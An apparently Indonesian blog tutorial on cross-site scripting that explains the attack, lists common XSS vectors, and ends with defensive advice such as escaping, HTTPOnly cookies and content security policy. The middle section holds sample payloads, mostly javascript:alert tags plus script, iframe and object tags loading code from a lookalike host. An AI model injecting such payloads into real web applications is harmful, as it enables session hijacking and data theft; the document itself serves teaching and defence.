Kali ini saya akan membahas tentang XSS. Dalam artikel ini saya juga akan menjelaskan bagaimana penyerang bisa menggunakannya. Dan bagaimana para develover agar bisa melindungi aplikasinya dari serangan tersebut.
1. Apa itu serangan XSS?
XSS sebenarnya singkatan dari Cross-site Scripting. Jenis serangan ini hanya diinjeksi pada client-side (sisi klien) saja. Dengan kata lain, serangan macam ini dapat mengacu code injection attack pada sisi klien. Dimana penyerang dapat mengeksekusi script berbahaya (yang biasa disebut sebagai “payloads”) menjadi situs yang sah atau aplikasi web.
Pada artikel ini, saya akan menganggap bahwa kamu memiliki latar belakang pengetahuan tentang bagaimana arsitektur Client-Server bekerja secara umum. Sehingga kita dapat dengan mudah melanjutkan pembahasan tentang XSS ini.
Satu General Aplikasi Web terdiri dari Elemen berikut:
- Frontend (Penampilan dari halaman web diuraikan dengan HTML, CSS, Javascript, d.l.l). Browser mengetahui bagaimana memahami kode, lalu menampilkan representasi visual.
- Backend (Logikanya, fungsionalitas yang disediakan dalam bahasa pemrograman seperti JAVA, C#, PHP, d.l.l).
- Database (Penampung dari data yang disimpan untuk aplikasi).
2. Bagaimana penyerang dapat melakukan serangan XSS?
Dalam skenario ini, ada 3 buah objek. Yaitu sebuah hosted web, penyerang, dan korban. Seperti yang saya katakan sebelumnya, payload perlu diinjeksikan ke situs yang sah. Maksudnya apa bang? Ini berarti bahwa penyerang harus menemukan cara menggunakan sebuah field input untuk menginjeksi script. Dan kemudian browser memperlakukan script tersebut seperti kode biasanya dan mengeksekusinya.
Script dari penyerang kemudian dapat disampaikan kepada para pengunjung. Lalu javascript akan mengubah representasi visual, atau mengarahkan pengunjung ke link lain. Atau mungkin juga mengumpulkan data dari browser pengunjung (biasanya yang diincar penyerang yaitu cookie) yang dapat mengakibatkan pembajakan, dan hal lainnya.
Jika aplikasi Web rentan terhadap XSS, hal itu akan memungkinkan untuk mengirim script berbahaya kepada pengunjung. Dan kemudian pengunjung akan ditipu untuk mengaktifkan script berbahaya tersebut. Serangan XSS dapat dilakukan dalam VBScript, ActiveX dan Flash. Akan tetapi sebagian besar dibuat di Javascript, karena Javascript diaktifkan secara default pada semua browser.
3. List vektor XSS yang paling banyak digunakan
<Script> tag:
<script src="http://facebok.com/xss.js"></script> <script> alert(“Boo!”); </script>
<Body> tag:
<body onload=alert(“I’m evil”)> <body background=”javascript:alert(“So Evil”)”>
<Img> tag:
<img src=”javascript:alert(“Evil”);”> <img dynsrc=”javascript:alert(‘Bad’)”> <img lowsrc=”javascript:alert(‘So bad!’)”>
<Iframe> tag:
<iframe src=”http://facebok.com/xss.html”>
<Input> tag:
<input type=”image” src=”javascript:alert(‘Evil work’);”>
<Link> tag:
<link rel=”stylesheet” href=”javascript:alert(‘Evil’);”>
<Table> tag:
<table background=”javascript:alert(‘Evil’)”> <td background=”javascript:alert(‘So evil’)”>
<Object> tag:
<object type=”text/x-scriptlet” data=”http://facebok.com/xss.html”>
<Div> tag:
<div style=”background-image: url(javascript:alert(‘Evil’))”>
Contoh-contoh diatas hanya beberapa dari yang paling dikenal. Hal tersebut saya tunjukan agar kamu tahu bagaimana penyerang menginjeksi. Seperti yang kamu lihat, jika ada bidang yang rentan, script injeksi akan diuraikan sebagai kode. Lalu akan dijalankan secara lokal dan dapat digunakan untuk menipu korban agar mengklik. Lewat hal itu juga penyerang dapat mengumpulkan beberapa data dan mengarahkan kamu untuk mendapatkan data itu.
4. Bagaimana cara melindungi dari serangan XSS?
Jika kamu ingin melindungi aplikasi kamu dari serangan XSS, bisa mengikuti beberapa langkah berikut:
- Jangan pernah memasukan data tidak terpercaya kecuali di beberapa lokasi yang diiizinkan.
- Escape HTML sebelum data tidak terpercaya masuk ke dalam konten elemen HTML.
- Escape atribut sebelum data tidak terpercaya masuk ke dalam atribut umum HTML.
- Escape JavaScript sebelum data tidak terpercaya masuk ke nilai data JavaScript.
- Escape nilai-nilai JSON dalam konteks HTML dan membaca data dengan JSON.parse.
- Escape URL sebelum data tidak terpercaya masuk ke dalam nilai parameter URL HTML.
- Mengamankan mark-up HTML dengan library.
- Pencegahan XSS berbasis DOM.
- Gunakan HTTPOnly cookie flag.
- Gunakan sistem auto-escaping template dan menerapkan content security policy.
Untuk lebih lengkapnya tentang XSS, kamu bisa googling sendiri. Untuk membahas/bertanya/berdiskusi/sharing mengenai Hacking, Tech, Cyber Attacks, Vulnerabilities, Malware, Spying, Programming, Networking, dan hal lainnya yang berkaitan dengan IT, bisa bergabung di https://errorcybernews.id/forum 🙂